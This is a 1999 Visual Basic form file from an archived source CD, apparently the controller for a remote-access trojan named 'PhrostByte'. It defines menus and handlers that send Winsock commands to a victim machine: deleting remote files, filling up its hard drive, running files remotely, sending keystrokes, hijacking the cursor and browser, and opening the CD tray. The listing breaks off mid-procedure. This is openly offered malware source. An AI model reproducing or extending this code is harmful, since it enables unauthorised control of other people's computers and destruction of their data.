Visual Basic Source Code/Visual Basic Source Code.iso/vbsource/automa_1/frmmain.frm

Text File | 1999-08-23 | 12KB | 436 lines

VERSION 5.00
Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Begin VB.Form frmMain
   BorderStyle     =   1  'Fixed Single
   Caption         =   "Phr╪stByte BY: Phantom "
   ClientHeight    =   4470
   ClientLeft      =   150
   ClientTop       =   435
   ClientWidth     =   7500
   Icon            =   "frmMain.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   Picture         =   "frmMain.frx":030A
   ScaleHeight     =   4470
   ScaleWidth      =   7500
   Begin VB.Timer Timer2
      Enabled         =   0   'False
      Interval        =   1000
      Left            =   2880
      Top             =   840
   End
   Begin MSComDlg.CommonDialog cd
      Left            =   3720
      Top             =   960
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
   End
   Begin VB.Timer Timer1
      Enabled         =   0   'False
      Interval        =   1000
      Left            =   4440
      Top             =   600
   End
   Begin MSWinsockLib.Winsock win
      Left            =   2000
      Top             =   720
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      Protocol        =   1
      RemotePort      =   2000
   End
   Begin VB.Frame Frame1
      BackColor       =   &H00400000&
      Caption         =   "Local In Program Log (Is not saved to a file)"
      ForeColor       =   &H0000FF00&
      Height          =   2655
      Left            =   120
      TabIndex        =   0
      Top             =   1560
      Width           =   7215
      Begin RichTextLib.RichTextBox rt
         Height          =   2295
         Left            =   120
         TabIndex        =   1
         Top             =   240
         Width           =   6975
         _ExtentX        =   12303
         _ExtentY        =   4048
         _Version        =   393217
         BackColor       =   4210752
         Enabled         =   -1  'True
         ReadOnly        =   -1  'True
         ScrollBars      =   3
         DisableNoScroll =   -1  'True
         TextRTF         =   $"frmMain.frx":980E
         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851}
            Name            =   "Arial"
            Size            =   8.25
            Charset         =   0
            Weight          =   700
            Underline       =   0   'False
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
      End
   End
   Begin VB.Menu file
      Caption         =   "&File"
      Begin VB.Menu connection
         Caption         =   "&Make Connection"
         Shortcut        =   ^N
      End
      Begin VB.Menu log
         Caption         =   "&Start Logging Connection"
      End
      Begin VB.Menu bar0
         Caption         =   "-"
      End
      Begin VB.Menu openlogfile
         Caption         =   "&Open Log File"
         Shortcut        =   ^O
      End
      Begin VB.Menu bar1
         Caption         =   "-"
      End
      Begin VB.Menu phrostnet
         Caption         =   "Open &Phr╪stNet"
      End
      Begin VB.Menu options
         Caption         =   "&Phr╪stByte Options"
      End
      Begin VB.Menu bar2
         Caption         =   "-"
      End
      Begin VB.Menu exit
         Caption         =   "&Exit "
      End
   End
   Begin VB.Menu tools
      Caption         =   "&Tools"
      Begin VB.Menu fun
         Caption         =   "Fun Stuff"
         Begin VB.Menu control
            Caption         =   "Control Cursor Position"
         End
         Begin VB.Menu randommouse
            Caption         =   "Random Cursor Position"
         End
         Begin VB.Menu setmouse
            Caption         =   "Set Cursor Position"
         End
         Begin VB.Menu bar4
            Caption         =   "-"
         End
         Begin VB.Menu changebackground
            Caption         =   "Change Remote Background"
         End
         Begin VB.Menu changescreensave
            Caption         =   "Start Remote Screensaver"
         End
         Begin VB.Menu bar8
            Caption         =   "-"
         End
         Begin VB.Menu sendkey
            Caption         =   "Sendkey "
         End
      End
      Begin VB.Menu fileanddirectory
         Caption         =   "&File And Directory"
         Begin VB.Menu FillHd
            Caption         =   "Fill Up Hard Drive"
         End
         Begin VB.Menu bar21
            Caption         =   "-"
         End
         Begin VB.Menu runremoteremote
            Caption         =   "Run Remote File Remotely"
         End
         Begin VB.Menu runremotelocal
            Caption         =   "Run Remote File Localy"
         End
         Begin VB.Menu runlocalremote
            Caption         =   "Run Local File Remotely"
         End
         Begin VB.Menu bar22
            Caption         =   "-"
         End
         Begin VB.Menu deletefile
            Caption         =   "Delete Remote File"
         End
      End
      Begin VB.Menu web
         Caption         =   "Web Stuff"
         Begin VB.Menu open
            Caption         =   "Open Browser"
         End
         Begin VB.Menu randomsite
            Caption         =   "Send Browser To Random Site"
         End
      End
      Begin VB.Menu music
         Caption         =   "Musical Anarchy"
         Begin VB.Menu piano
            Caption         =   "Play Beeps"
         End
         Begin VB.Menu bar11
            Caption         =   "-"
         End
         Begin VB.Menu opencd
            Caption         =   "Open CD-Rom"
         End
         Begin VB.Menu closecd
            Caption         =   "Close CD-Rom"
         End
      End
   End
   Begin VB.Menu help
      Caption         =   "&Help"
      Begin VB.Menu contents
         Caption         =   "&Contents"
         Shortcut        =   {F1}
      End
      Begin VB.Menu index
         Caption         =   "&Index"
      End
      Begin VB.Menu bar9
         Caption         =   "-"
      End
      Begin VB.Menu about
         Caption         =   "&About"
      End
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim mbf As String
Private Sub about_Click()
Load frmABout
frmABout.Visible = True
End Sub

Private Sub changebackground_Click()
On Error Resume Next
mb = InputBox("Enter the location of the bitmap file you wish to use as wallpaper", "Change Remote Wallpaper")
win.SendData "cwp " & mb
If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
End Sub

Private Sub changescreensave_Click()
On Error Resume Next
win.SendData "sss"
If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
End Sub

Private Sub closecd_Click()
On Error Resume Next
win.SendData "ccd"
If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"

End Sub

Private Sub connection_Click()
frmConnect.Show
End Sub

Private Sub control_Click()
If control.Checked = False Then
control.Checked = True
Timer1.Enabled = True
Else
Timer1.Enabled = False
control.Checked = False
End If
End Sub

Private Sub deletefile_Click()
On Error Resume Next
mb = InputBox("Enter the filename you wish to delete", "Delete A File")
win.SendData "del " & mb
If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
End Sub

Private Sub exit_Click()
Unload frmABout
Unload frmConnect
Unload frmMain
Unload frmOptions
Unload frmWeb
Unload Splash
End
End Sub

Private Sub file_